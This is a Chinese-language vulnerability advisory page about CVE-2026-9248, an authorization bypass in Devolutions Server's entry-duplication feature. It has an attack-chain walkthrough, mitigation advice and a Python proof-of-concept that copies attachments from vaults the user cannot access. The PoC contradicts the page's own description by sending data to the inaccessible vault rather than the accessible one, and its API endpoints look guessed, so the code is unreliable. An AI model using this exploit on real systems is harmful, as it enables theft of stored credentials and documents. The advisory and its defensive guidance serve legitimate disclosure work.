IPBUF安全漏洞报告
English
CVE-2026-9248 CVSS 2.6 低危

CVE-2026-9248 Devolutions Server授权绕过漏洞

披露日期: 2026-05-22

漏洞信息

漏洞编号
CVE-2026-9248
漏洞类型
授权绕过
CVSS评分
2.6 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Devolutions Server

相关标签

授权绕过Devolutions Server水平越权条目复制访问控制绕过CVE-2026-9248

漏洞概述

CVE-2026-9248是Devolutions Server中的一个授权绕过漏洞。该漏洞存在于条目复制功能中,允许已认证用户利用写入权限访问任意保险库,通过精心构造的保存请求,从用户无权访问的保险库中的条目复制文档和附件。攻击者只需在某个保险库拥有写权限,即可绕过访问控制机制,获取目标保险库中敏感文档和附件的副本。CVSS评分为2.6,属于低危漏洞,但可能涉及机密性影响。Devolutions Server是一款企业级密码管理和特权访问管理解决方案,广泛应用于Windows环境下的凭据管理和远程访问控制。该漏洞影响2026.1.6.0至2026.1.16.0版本以及2025.3.20.0及更早版本。

技术细节

该漏洞属于水平越权类型的授权绕过问题。在Devolutions Server的条目复制功能中,系统在处理复制请求时未能充分验证用户对源条目的访问权限。攻击者通过以下方式利用此漏洞:1) 攻击者首先在具有写权限的保险库中创建一个新条目或选择一个现有条目;2) 攻击者构造一个特殊的保存请求,在请求中指定源条目ID为无权访问保险库中的目标条目;3) 服务器在处理复制操作时,仅验证了用户对目标保险库的写权限,而未正确检查对源条目的读权限;4) 结果是源条目中的文档和附件被成功复制到攻击者有权访问的保险库中。攻击成功的关键在于条目复制功能的访问控制检查不完整,服务器信任了客户端提供的源条目ID而未进行服务端权限验证。

攻击链分析

STEP 1
侦察阶段
攻击者识别Devolutions Server实例,枚举可访问的保险库和条目,定位目标敏感条目所在的保险库
STEP 2
获取初始访问权限
攻击者通过正常渠道获取Devolutions Server账户,需要至少在一个保险库拥有写权限
STEP 3
构造恶意请求
攻击者构造一个特殊的条目保存请求,在请求参数中指定源条目ID为无权访问保险库中的目标条目,同时指定目标保险库为有权访问的保险库
STEP 4
触发授权绕过
服务器在处理复制操作时,仅验证了用户对目标保险库的写权限,而未正确检查用户对源条目的读权限,导致攻击成功
STEP 5
获取敏感数据
目标条目中的文档和附件被成功复制到攻击者有权访问的保险库中,攻击者可直接访问这些敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9248 PoC - Authorization Bypass in Devolutions Server Entry Duplication # This PoC demonstrates how an authenticated user can copy entries from inaccessible vaults import requests import json # Configuration BASE_URL = "https://devolutions-server.local" TARGET_VAULT_ID = "inaccessible-vault-id-12345" SOURCE_ENTRY_ID = "private-entry-id-67890" ACCESSIBLE_VAULT_ID = "accessible-vault-id-abcde" API_TOKEN = "your-auth-token-here" def exploit_entry_duplication(): """ Exploit the authorization bypass in entry duplication feature Allows copying documentation/attachments from entries in inaccessible vaults """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Create a new entry in the accessible vault create_entry_url = f"{BASE_URL}/api/v1/entries" entry_payload = { "vaultId": ACCESSIBLE_VAULT_ID, "name": "Copied Entry", "folderId": None } response = requests.post(create_entry_url, headers=headers, json=entry_payload) new_entry_id = response.json().get("id") # Step 2: Craft malicious duplication request # The server does not verify access to SOURCE_ENTRY_ID duplicate_url = f"{BASE_URL}/api/v1/entries/{new_entry_id}/duplicate" duplicate_payload = { "sourceEntryId": SOURCE_ENTRY_ID, "copyDocumentation": True, "copyAttachments": True, "targetVaultId": TARGET_VAULT_ID } # Step 3: Send the crafted request # This bypasses authorization and copies sensitive data response = requests.post(duplicate_url, headers=headers, json=duplicate_payload) if response.status_code == 200: print("[+] Successfully copied entry from inaccessible vault!") print(f"[+] Copied entry ID: {response.json().get('id')}") return True else: print(f"[-] Exploit failed: {response.status_code}") return False if __name__ == "__main__": exploit_entry_duplication()

影响范围

Devolutions Server 2026.1.6.0 - 2026.1.16.0
Devolutions Server 2025.3.20.0 及更早版本

防御指南

临时缓解措施
立即升级Devolutions Server到官方发布的安全版本(2026.1.17.0或2025.3.21.0)。如果无法立即升级,可采取以下临时措施:1) 审查并限制用户权限,确保用户仅能访问必要的保险库;2) 启用详细的审计日志,监控异常的条目复制行为;3) 实施IP白名单策略,限制管理接口的访问来源;4) 考虑临时禁用条目复制功能,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表